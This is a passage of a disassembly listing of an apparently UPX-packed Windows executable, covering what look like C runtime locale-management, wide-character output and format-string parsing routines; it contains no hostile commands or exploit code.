or eax, 0FFFFFFFFh
loc_412019: ; CODE XREF: sub_411E43+34j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_411E43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412028 proc near ; CODE XREF: sub_4121C2+Bp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00412194 SIZE 0000002E BYTES
push 14h
push offset dword_426C10
call __SEH_prolog4
or [ebp+var_20], 0FFFFFFFFh
call sub_40E38F
mov edi, eax
mov [ebp+var_24], edi
call sub_411D23
mov ebx, [edi+68h]
mov esi, [ebp+arg_0]
call sub_411DC7
mov [ebp+arg_0], eax
cmp eax, [ebx+4]
jz loc_4121B5
push 220h
call sub_40EF2A
pop ecx
mov ebx, eax
test ebx, ebx
jz loc_4121B9
mov ecx, 88h
mov esi, [edi+68h]
mov edi, ebx
rep movsd
and dword ptr [ebx], 0
push ebx
push [ebp+arg_0]
call sub_411E43
pop ecx
pop ecx
mov [ebp+var_20], eax
test eax, eax
jnz loc_412194
mov esi, [ebp+var_24]
push dword ptr [esi+68h]
call dword_41D218 ; InterlockedDecrement
test eax, eax
jnz short loc_4120B9
mov eax, [esi+68h]
cmp eax, offset dword_42A6D0
jz short loc_4120B9
push eax
call sub_40ADC8
pop ecx
loc_4120B9: ; CODE XREF: sub_412028+7Ej
; sub_412028+88j
mov [esi+68h], ebx
push ebx
mov edi, dword_41D21C
call edi ; dword_41D21C
test byte ptr [esi+70h], 2
jnz loc_4121B9
test byte ptr dword_42ABF4, 1
jnz loc_4121B9
push 0Dh
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
mov eax, [ebx+4]
mov dword_42ED10, eax
mov eax, [ebx+8]
mov dword_42ED14, eax
mov eax, [ebx+0Ch]
mov dword_42ED18, eax
xor eax, eax
loc_412102: ; CODE XREF: sub_412028+F0j
mov [ebp+var_1C], eax
cmp eax, 5
jge short loc_41211A
mov cx, [ebx+eax*2+10h]
mov word_42ED04[eax*2], cx
inc eax
jmp short loc_412102
; ---------------------------------------------------------------------------
loc_41211A: ; CODE XREF: sub_412028+E0j
xor eax, eax
loc_41211C: ; CODE XREF: sub_412028+109j
mov [ebp+var_1C], eax
cmp eax, 101h
jge short loc_412133
mov cl, [eax+ebx+1Ch]
mov byte_42A8F0[eax], cl
inc eax
jmp short loc_41211C
; ---------------------------------------------------------------------------
loc_412133: ; CODE XREF: sub_412028+FCj
xor eax, eax
loc_412135: ; CODE XREF: sub_412028+125j
mov [ebp+var_1C], eax
cmp eax, 100h
jge short loc_41214F
mov cl, [eax+ebx+11Dh]
mov byte_42A9F8[eax], cl
inc eax
jmp short loc_412135
; ---------------------------------------------------------------------------
loc_41214F: ; CODE XREF: sub_412028+115j
push dword_42AAF8
call dword_41D218 ; InterlockedDecrement
test eax, eax
jnz short loc_412172
mov eax, dword_42AAF8
cmp eax, offset dword_42A6D0
jz short loc_412172
push eax
call sub_40ADC8
pop ecx
loc_412172: ; CODE XREF: sub_412028+135j
; sub_412028+141j
mov dword_42AAF8, ebx
push ebx
call edi ; dword_41D21C
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412189
jmp short loc_4121B9
sub_412028 endp
; =============== S U B R O U T I N E =======================================
sub_412189 proc near ; CODE XREF: sub_412028+15Ap
; DATA XREF: UPX0:00426C28o
push 0Dh
call sub_40CECF
pop ecx
retn
sub_412189 endp
; ---------------------------------------------------------------------------
jmp short loc_4121B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_412028
loc_412194: ; CODE XREF: sub_412028+6Aj
cmp eax, 0FFFFFFFFh
jnz short loc_4121B9
cmp ebx, offset dword_42A6D0
jz short loc_4121A8
push ebx
call sub_40ADC8
pop ecx
loc_4121A8: ; CODE XREF: sub_412028+177j
call sub_40C862
mov dword ptr [eax], 16h
jmp short loc_4121B9
; ---------------------------------------------------------------------------
loc_4121B5: ; CODE XREF: sub_412028+30j
and [ebp+var_20], 0
loc_4121B9: ; CODE XREF: sub_412028+45j
; sub_412028+A1j ...
mov eax, [ebp+var_20]
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_412028
; =============== S U B R O U T I N E =======================================
sub_4121C2 proc near ; CODE XREF: sub_40F568+Ep
; sub_40F5C7+9p ...
cmp dword_430270, 0
jnz short loc_4121DD
push 0FFFFFFFDh
call sub_412028
pop ecx
mov dword_430270, 1
loc_4121DD: ; CODE XREF: sub_4121C2+7j
xor eax, eax
retn
sub_4121C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4121E0 proc near ; CODE XREF: sub_40E3A9+F6p
; sub_412451+31p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+0BCh]
xor ebx, ebx
push edi
cmp eax, ebx
jz short loc_412266
cmp eax, offset off_42AE00
jz short loc_412266
mov eax, [esi+0B0h]
cmp eax, ebx
jz short loc_412266
cmp [eax], ebx
jnz short loc_412266
mov eax, [esi+0B8h]
cmp eax, ebx
jz short loc_41222D
cmp [eax], ebx
jnz short loc_41222D
push eax
call sub_40ADC8
push dword ptr [esi+0BCh]
call sub_4153C4
pop ecx
pop ecx
loc_41222D: ; CODE XREF: sub_4121E0+34j
; sub_4121E0+38j
mov eax, [esi+0B4h]
cmp eax, ebx
jz short loc_41224E
cmp [eax], ebx
jnz short loc_41224E
push eax
call sub_40ADC8
push dword ptr [esi+0BCh]
call sub_41537F
pop ecx
pop ecx
loc_41224E: ; CODE XREF: sub_4121E0+55j
; sub_4121E0+59j
push dword ptr [esi+0B0h]
call sub_40ADC8
push dword ptr [esi+0BCh]
call sub_40ADC8
pop ecx
pop ecx
loc_412266: ; CODE XREF: sub_4121E0+15j
; sub_4121E0+1Cj ...
mov eax, [esi+0C0h]
cmp eax, ebx
jz short loc_4122B4
cmp [eax], ebx
jnz short loc_4122B4
mov eax, [esi+0C4h]
sub eax, 0FEh
push eax
call sub_40ADC8
mov eax, [esi+0CCh]
mov edi, 80h
sub eax, edi
push eax
call sub_40ADC8
mov eax, [esi+0D0h]
sub eax, edi
push eax
call sub_40ADC8
push dword ptr [esi+0C0h]
call sub_40ADC8
add esp, 10h
loc_4122B4: ; CODE XREF: sub_4121E0+8Ej
; sub_4121E0+92j
lea edi, [esi+0D4h]
mov eax, [edi]
cmp eax, offset off_42AD40
jz short loc_4122DA
cmp [eax+0B4h], ebx
jnz short loc_4122DA
push eax
call sub_4151EA
push dword ptr [edi]
call sub_40ADC8
pop ecx
pop ecx
loc_4122DA: ; CODE XREF: sub_4121E0+E1j
; sub_4121E0+E9j
lea edi, [esi+50h]
mov [ebp+arg_0], 6
loc_4122E4: ; CODE XREF: sub_4121E0+13Bj
cmp dword ptr [edi-8], offset dword_42ABF8
jz short loc_4122FE
mov eax, [edi]
cmp eax, ebx
jz short loc_4122FE
cmp [eax], ebx
jnz short loc_4122FE
push eax
call sub_40ADC8
pop ecx
loc_4122FE: ; CODE XREF: sub_4121E0+10Bj
; sub_4121E0+111j ...
cmp [edi-4], ebx
jz short loc_412315
mov eax, [edi+4]
cmp eax, ebx
jz short loc_412315
cmp [eax], ebx
jnz short loc_412315
push eax
call sub_40ADC8
pop ecx
loc_412315: ; CODE XREF: sub_4121E0+121j
; sub_4121E0+128j ...
add edi, 10h
dec [ebp+arg_0]
jnz short loc_4122E4
push esi
call sub_40ADC8
pop ecx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4121E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412329 proc near ; CODE XREF: sub_40E22F+B7p
; sub_412451+12p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword_41D21C
push edi
mov edi, [ebp+arg_0]
push edi
call esi ; dword_41D21C
mov eax, [edi+0B0h]
test eax, eax
jz short loc_41234A
push eax
call esi ; dword_41D21C
loc_41234A: ; CODE XREF: sub_412329+1Cj
mov eax, [edi+0B8h]
test eax, eax
jz short loc_412357
push eax
call esi ; dword_41D21C
loc_412357: ; CODE XREF: sub_412329+29j
mov eax, [edi+0B4h]
test eax, eax
jz short loc_412364
push eax
call esi ; dword_41D21C
loc_412364: ; CODE XREF: sub_412329+36j
mov eax, [edi+0C0h]
test eax, eax
jz short loc_412371
push eax
call esi ; dword_41D21C
loc_412371: ; CODE XREF: sub_412329+43j
lea ebx, [edi+50h]
mov [ebp+arg_0], 6
loc_41237B: ; CODE XREF: sub_412329+7Aj
cmp dword ptr [ebx-8], offset dword_42ABF8
jz short loc_41238D
mov eax, [ebx]
test eax, eax
jz short loc_41238D
push eax
call esi ; dword_41D21C
loc_41238D: ; CODE XREF: sub_412329+59j
; sub_412329+5Fj
cmp dword ptr [ebx-4], 0
jz short loc_41239D
mov eax, [ebx+4]
test eax, eax
jz short loc_41239D
push eax
call esi ; dword_41D21C
loc_41239D: ; CODE XREF: sub_412329+68j
; sub_412329+6Fj
add ebx, 10h
dec [ebp+arg_0]
jnz short loc_41237B
mov eax, [edi+0D4h]
add eax, 0B4h
push eax
call esi ; dword_41D21C
pop edi
pop esi
pop ebx
pop ebp
retn
sub_412329 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123B8 proc near ; CODE XREF: sub_40E3A9+DAp
; sub_412451+1Dp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
test edi, edi
jz loc_41244C
push ebx
push esi
mov esi, dword_41D218
push edi
call esi ; dword_41D218
mov eax, [edi+0B0h]
test eax, eax
jz short loc_4123E1
push eax
call esi ; dword_41D218
loc_4123E1: ; CODE XREF: sub_4123B8+24j
mov eax, [edi+0B8h]
test eax, eax
jz short loc_4123EE
push eax
call esi ; dword_41D218
loc_4123EE: ; CODE XREF: sub_4123B8+31j
mov eax, [edi+0B4h]
test eax, eax
jz short loc_4123FB
push eax
call esi ; dword_41D218
loc_4123FB: ; CODE XREF: sub_4123B8+3Ej
mov eax, [edi+0C0h]
test eax, eax
jz short loc_412408
push eax
call esi ; dword_41D218
loc_412408: ; CODE XREF: sub_4123B8+4Bj
lea ebx, [edi+50h]
mov [ebp+arg_0], 6
loc_412412: ; CODE XREF: sub_4123B8+82j
cmp dword ptr [ebx-8], offset dword_42ABF8
jz short loc_412424
mov eax, [ebx]
test eax, eax
jz short loc_412424
push eax
call esi ; dword_41D218
loc_412424: ; CODE XREF: sub_4123B8+61j
; sub_4123B8+67j
cmp dword ptr [ebx-4], 0
jz short loc_412434
mov eax, [ebx+4]
test eax, eax
jz short loc_412434
push eax
call esi ; dword_41D218
loc_412434: ; CODE XREF: sub_4123B8+70j
; sub_4123B8+77j
add ebx, 10h
dec [ebp+arg_0]
jnz short loc_412412
mov eax, [edi+0D4h]
add eax, 0B4h
push eax
call esi ; dword_41D218
pop esi
pop ebx
loc_41244C: ; CODE XREF: sub_4123B8+Bj
mov eax, edi
pop edi
pop ebp
retn
sub_4123B8 endp
; =============== S U B R O U T I N E =======================================
sub_412451 proc near ; CODE XREF: sub_41248F+54p
test edi, edi
jz short loc_41248C
test eax, eax
jz short loc_41248C
push esi
mov esi, [eax]
cmp esi, edi
jz short loc_412488
push edi
mov [eax], edi
call sub_412329
pop ecx
test esi, esi
jz short loc_412488
push esi
call sub_4123B8
cmp dword ptr [esi], 0
pop ecx
jnz short loc_412488
cmp esi, offset dword_42AC00
jz short loc_412488
push esi
call sub_4121E0
pop ecx
loc_412488: ; CODE XREF: sub_412451+Dj
; sub_412451+1Aj ...
mov eax, edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41248C: ; CODE XREF: sub_412451+2j
; sub_412451+6j
xor eax, eax
retn
sub_412451 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41248F proc near ; CODE XREF: sub_40C799+3Bp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_426C30
call __SEH_prolog4
call sub_40E38F
mov esi, eax
mov eax, dword_42ABF4
test [esi+70h], eax
jz short loc_4124CE
cmp dword ptr [esi+6Ch], 0
jz short loc_4124CE
call sub_40E38F
mov esi, [eax+6Ch]
loc_4124BA: ; CODE XREF: sub_41248F+68j
test esi, esi
jnz short loc_4124C6
push 20h
call sub_40DAD0
pop ecx
loc_4124C6: ; CODE XREF: sub_41248F+2Dj
mov eax, esi
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_4124CE: ; CODE XREF: sub_41248F+1Bj
; sub_41248F+21j
push 0Ch
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
lea eax, [esi+6Ch]
mov edi, off_42ACD8
call sub_412451
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_4124F9
jmp short loc_4124BA
sub_41248F endp
; =============== S U B R O U T I N E =======================================
sub_4124F9 proc near ; CODE XREF: sub_41248F+63p
; DATA XREF: UPX0:00426C48o
push 0Ch
call sub_40CECF
pop ecx
mov esi, [ebp-1Ch]
retn
sub_4124F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412505 proc near ; CODE XREF: sub_41283F+15p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_4]
test byte ptr [esi+0Ch], 40h
push edi
jnz loc_41265D
push esi
call sub_411ACB
pop ecx
mov ebx, offset dword_42A3E0
cmp eax, 0FFFFFFFFh
jz short loc_412566
push esi
call sub_411ACB
pop ecx
cmp eax, 0FFFFFFFEh
jz short loc_412566
push esi
call sub_411ACB
sar eax, 5
push esi
lea edi, ds:430160h[eax*4]
call sub_411ACB
and eax, 1Fh
pop ecx
shl eax, 6
add eax, [edi]
pop ecx
jmp short loc_412568
; ---------------------------------------------------------------------------
loc_412566: ; CODE XREF: sub_412505+31j
; sub_412505+3Dj
mov eax, ebx
loc_412568: ; CODE XREF: sub_412505+5Fj
mov al, [eax+24h]
and al, 7Fh
cmp al, 2
jz loc_41265D
push esi
call sub_411ACB
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_4125AF
push esi
call sub_411ACB
pop ecx
cmp eax, 0FFFFFFFEh
jz short loc_4125AF
push esi
call sub_411ACB
sar eax, 5
push esi
lea edi, ds:430160h[eax*4]
call sub_411ACB
and eax, 1Fh
pop ecx
shl eax, 6
add eax, [edi]
pop ecx
jmp short loc_4125B1
; ---------------------------------------------------------------------------
loc_4125AF: ; CODE XREF: sub_412505+7Aj
; sub_412505+86j
mov eax, ebx
loc_4125B1: ; CODE XREF: sub_412505+A8j
mov al, [eax+24h]
and al, 7Fh
cmp al, 1
jz loc_41265D
push esi
call sub_411ACB
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_4125F8
push esi
call sub_411ACB
pop ecx
cmp eax, 0FFFFFFFEh
jz short loc_4125F8
push esi
call sub_411ACB
sar eax, 5
push esi
lea edi, ds:430160h[eax*4]
call sub_411ACB
and eax, 1Fh
pop ecx
shl eax, 6
add eax, [edi]
pop ecx
jmp short loc_4125FA
; ---------------------------------------------------------------------------
loc_4125F8: ; CODE XREF: sub_412505+C3j
; sub_412505+CFj
mov eax, ebx
loc_4125FA: ; CODE XREF: sub_412505+F1j
test byte ptr [eax+4], 80h
jz short loc_41265D
push [ebp+arg_0]
lea eax, [ebp+var_C]
push 5
push eax
lea eax, [ebp+var_10]
push eax
call sub_4157D0
add esp, 10h
test eax, eax
jz short loc_412620
loc_412619: ; CODE XREF: sub_412505+14Aj
mov eax, 0FFFFh
jmp short loc_41267D
; ---------------------------------------------------------------------------
loc_412620: ; CODE XREF: sub_412505+112j
xor edi, edi
cmp [ebp+var_10], edi
jle short loc_412657
loc_412627: ; CODE XREF: sub_412505+150j
dec dword ptr [esi+4]
js short loc_41263E
mov eax, [esi]
mov cl, [ebp+edi+var_C]
mov [eax], cl
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41264C
; ---------------------------------------------------------------------------
loc_41263E: ; CODE XREF: sub_412505+125j
movsx eax, [ebp+edi+var_C]
push esi
push eax
call sub_40C635
pop ecx
pop ecx
loc_41264C: ; CODE XREF: sub_412505+137j
cmp eax, 0FFFFFFFFh
jz short loc_412619
inc edi
cmp edi, [ebp+var_10]
jl short loc_412627
loc_412657: ; CODE XREF: sub_412505+120j
mov ax, word ptr [ebp+arg_0]
jmp short loc_41267D
; ---------------------------------------------------------------------------
loc_41265D: ; CODE XREF: sub_412505+1Cj
; sub_412505+6Aj ...
add dword ptr [esi+4], 0FFFFFFFEh
js short loc_412670
mov ecx, [esi]
mov eax, [ebp+arg_0]
mov [ecx], ax
add dword ptr [esi], 2
jmp short loc_41267D
; ---------------------------------------------------------------------------
loc_412670: ; CODE XREF: sub_412505+15Cj
movzx eax, word ptr [ebp+arg_0]
push esi
push eax
call sub_4154F0
pop ecx
pop ecx
loc_41267D: ; CODE XREF: sub_412505+119j
; sub_412505+156j ...
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_412505 endp
; =============== S U B R O U T I N E =======================================
sub_41268C proc near ; CODE XREF: sub_40DB8F:loc_40DBB6p
mov edi, edi
push esi
push edi
xor edi, edi
loc_412692: ; CODE XREF: sub_41268C+1Cj
lea esi, dword_42ACF0[edi]
push dword ptr [esi]
call sub_40E0C8
add edi, 4
pop ecx
mov [esi], eax
cmp edi, 28h
jb short loc_412692
pop edi
pop esi
retn
sub_41268C endp
; =============== S U B R O U T I N E =======================================
sub_4126AD proc near ; CODE XREF: sub_4128E7+608p
mov eax, dword_42A034
or eax, 1
xor ecx, ecx
cmp dword_42ED40, eax
setz cl
mov eax, ecx
retn
sub_4126AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126C3 proc near ; CODE XREF: sub_4127DA+10p
; sub_4128E7+51Cp ...
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4126EB
cmp [ebp+arg_8], ebx
jz short loc_4126EB
cmp [esi], bl
jnz short loc_4126F1
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4126EB
xor ecx, ecx
mov [eax], cx
loc_4126EB: ; CODE XREF: sub_4126C3+11j
; sub_4126C3+16j ...
xor eax, eax
loc_4126ED: ; CODE XREF: sub_4126C3+5Ej
; sub_4126C3+BFj ...
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4126F1: ; CODE XREF: sub_4126C3+1Aj
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40C799
mov eax, [ebp+var_10]
cmp [eax+14h], ebx
jnz short loc_412723
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_412712
movzx cx, byte ptr [esi]
mov [eax], cx
loc_412712: ; CODE XREF: sub_4126C3+46j
; sub_4126C3+10Fj
cmp [ebp+var_4], bl
jz short loc_41271E
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41271E: ; CODE XREF: sub_4126C3+52j
xor eax, eax
inc eax
jmp short loc_4126ED
; ---------------------------------------------------------------------------
loc_412723: ; CODE XREF: sub_4126C3+3Fj
lea eax, [ebp+var_10]
push eax
movzx eax, byte ptr [esi]
push eax
call sub_4127F4
pop ecx
pop ecx
test eax, eax
jz short loc_4127B3
mov eax, [ebp+var_10]
mov ecx, [eax+0ACh]
cmp ecx, 1
jle short loc_412769
cmp [ebp+arg_8], ecx
jl short loc_412769
xor edx, edx
cmp [ebp+arg_0], ebx
setnz dl
push edx
push [ebp+arg_0]
push ecx
push esi
push 9
push dword ptr [eax+4]
call dword_41D1F4 ; MultiByteToWideChar
test eax, eax
mov eax, [ebp+var_10]
jnz short loc_412779
loc_412769: ; CODE XREF: sub_4126C3+7Fj
; sub_4126C3+84j
mov ecx, [ebp+arg_8]
cmp ecx, [eax+0ACh]
jb short loc_412794
cmp [esi+1], bl
jz short loc_412794
loc_412779: ; CODE XREF: sub_4126C3+A4j
mov eax, [eax+0ACh]
cmp [ebp+var_4], bl
jz loc_4126ED
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_4126ED
; ---------------------------------------------------------------------------
loc_412794: ; CODE XREF: sub_4126C3+AFj
; sub_4126C3+B4j ...
call sub_40C862
mov dword ptr [eax], 2Ah
cmp [ebp+var_4], bl
jz short loc_4127AB
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4127AB: ; CODE XREF: sub_4126C3+DFj
or eax, 0FFFFFFFFh
jmp loc_4126ED
; ---------------------------------------------------------------------------
loc_4127B3: ; CODE XREF: sub_4126C3+71j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
mov eax, [ebp+var_10]
push 1
push esi
push 9
push dword ptr [eax+4]
call dword_41D1F4 ; MultiByteToWideChar
test eax, eax
jnz loc_412712
jmp short loc_412794
sub_4126C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127DA proc near ; CODE XREF: sub_41105A+1E1p
; sub_41105A+205p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4126C3
add esp, 10h
pop ebp
retn
sub_4127DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127F4 proc near ; CODE XREF: sub_4126C3+68p
; sub_41282C+Ap ...
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40C799
movzx eax, [ebp+arg_0]
mov ecx, [ebp+var_10]
mov ecx, [ecx+0C8h]
movzx eax, word ptr [ecx+eax*2]
and eax, 8000h
cmp [ebp+var_4], 0
jz short locret_41282A
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_41282A: ; CODE XREF: sub_4127F4+2Dj
leave
retn
sub_4127F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41282C proc near ; CODE XREF: sub_41105A+1B7p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_0]
call sub_4127F4
pop ecx
pop ecx
pop ebp
retn
sub_41282C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41283F proc near ; CODE XREF: sub_41286E+13p
; sub_412895+27p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
test byte ptr [eax+0Ch], 40h
jz short loc_412850
cmp dword ptr [eax+8], 0
jz short loc_41286A
loc_412850: ; CODE XREF: sub_41283F+9j
push eax
push [ebp+arg_0]
call sub_412505
pop ecx
pop ecx
mov ecx, 0FFFFh
cmp ax, cx
jnz short loc_41286A
or dword ptr [esi], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41286A: ; CODE XREF: sub_41283F+Fj
; sub_41283F+24j
inc dword ptr [esi]
pop ebp
retn
sub_41283F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41286E proc near ; CODE XREF: sub_4128E7+9FEp
; sub_4128E7+A40p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp short loc_41288C
; ---------------------------------------------------------------------------
loc_412878: ; CODE XREF: sub_41286E+22j
push [ebp+arg_0]
mov eax, [ebp+arg_8]
dec [ebp+arg_4]
call sub_41283F
cmp dword ptr [esi], 0FFFFFFFFh
pop ecx
jz short loc_412892
loc_41288C: ; CODE XREF: sub_41286E+8j
cmp [ebp+arg_4], 0
jg short loc_412878
loc_412892: ; CODE XREF: sub_41286E+1Cj
pop esi
pop ebp
retn
sub_41286E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412895 proc near ; CODE XREF: sub_4128E7+A1Ep
; sub_4128E7+AD3p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
test byte ptr [edi+0Ch], 40h
push ebx
push esi
mov esi, eax
mov ebx, ecx
jz short loc_4128DD
cmp dword ptr [edi+8], 0
jnz short loc_4128DD
mov eax, [ebp+arg_0]
add [esi], eax
jmp short loc_4128E3
; ---------------------------------------------------------------------------
loc_4128B3: ; CODE XREF: sub_412895+4Cj
movzx eax, word ptr [ebx]
dec [ebp+arg_0]
push eax
mov eax, edi
call sub_41283F
inc ebx
inc ebx
cmp dword ptr [esi], 0FFFFFFFFh
pop ecx
jnz short loc_4128DD
call sub_40C862
cmp dword ptr [eax], 2Ah
jnz short loc_4128E3
push 3Fh
mov eax, edi
call sub_41283F
pop ecx
loc_4128DD: ; CODE XREF: sub_412895+Fj
; sub_412895+15j ...
cmp [ebp+arg_0], 0
jg short loc_4128B3
loc_4128E3: ; CODE XREF: sub_412895+1Cj
; sub_412895+3Cj
pop esi
pop ebx
pop ebp
retn
sub_412895 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4128E7 proc near ; DATA XREF: sub_40C9A3+51o
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_444 = dword ptr -444h
var_440 = byte ptr -440h
var_43C = dword ptr -43Ch
var_438 = byte ptr -438h
var_437 = byte ptr -437h
var_434 = dword ptr -434h
var_430 = word ptr -430h
var_42E = word ptr -42Eh
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = word ptr -404h
var_205 = byte ptr -205h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 474h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
mov ebx, [ebp+arg_C]
push esi
mov esi, [ebp+arg_0]
xor eax, eax
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_4]
lea ecx, [ebp+var_44C]
mov [ebp+var_43C], esi
mov [ebp+var_418], ebx
mov [ebp+var_454], eax
mov [ebp+var_408], eax
mov [ebp+var_42C], eax
mov [ebp+var_40C], eax
mov [ebp+var_424], eax
mov [ebp+var_450], eax
mov [ebp+var_428], eax
call sub_40C799
test esi, esi
jnz short loc_412987
loc_412952: ; CODE XREF: sub_4128E7+132j
; sub_4128E7+60Fj
call sub_40C862
mov dword ptr [eax], 16h
xor eax, eax
push eax
push eax
push eax
push eax
push eax
loc_412964: ; CODE XREF: sub_4128E7+B6j
call sub_40B255
add esp, 14h
cmp [ebp+var_440], 0
jz short loc_41297F
mov eax, [ebp+var_444]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41297F: ; CODE XREF: sub_4128E7+8Cj
or eax, 0FFFFFFFFh
jmp loc_413456
; ---------------------------------------------------------------------------
loc_412987: ; CODE XREF: sub_4128E7+69j
xor esi, esi
cmp edi, esi
jnz short loc_41299F
loc_41298D: ; CODE XREF: sub_4128E7+B50j
call sub_40C862
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
push esi
jmp short loc_412964
; ---------------------------------------------------------------------------
loc_41299F: ; CODE XREF: sub_4128E7+A4j
movzx ecx, word ptr [edi]
mov [ebp+var_420], esi
mov [ebp+var_414], esi
mov [ebp+var_434], esi
mov [ebp+var_458], esi
mov [ebp+var_41C], ecx
cmp cx, si
jz loc_41343D
loc_4129C9: ; CODE XREF: sub_4128E7+B3Cj
push 2
pop edx
add edi, edx
cmp [ebp+var_420], esi
mov [ebp+var_460], edi
jl loc_413428
lea eax, [ecx-20h]
cmp ax, 58h
ja short loc_4129F8
movzx eax, cx
movzx eax, byte ptr aSat[eax] ; "Sat"
and eax, 0Fh
jmp short loc_4129FA
; ---------------------------------------------------------------------------
loc_4129F8: ; CODE XREF: sub_4128E7+100j
xor eax, eax
loc_4129FA: ; CODE XREF: sub_4128E7+10Fj
mov esi, [ebp+var_434]
imul eax, 9
movzx eax, byte_41EE90[eax+esi]
push 8
shr eax, 4
pop esi
mov [ebp+var_434], eax
cmp eax, esi
jz loc_412952
cmp eax, 7 ; switch 8 cases
ja loc_413405 ; default
jmp off_413467[eax*4] ; switch jump
loc_412A2F: ; DATA XREF: UPX0:off_413467o
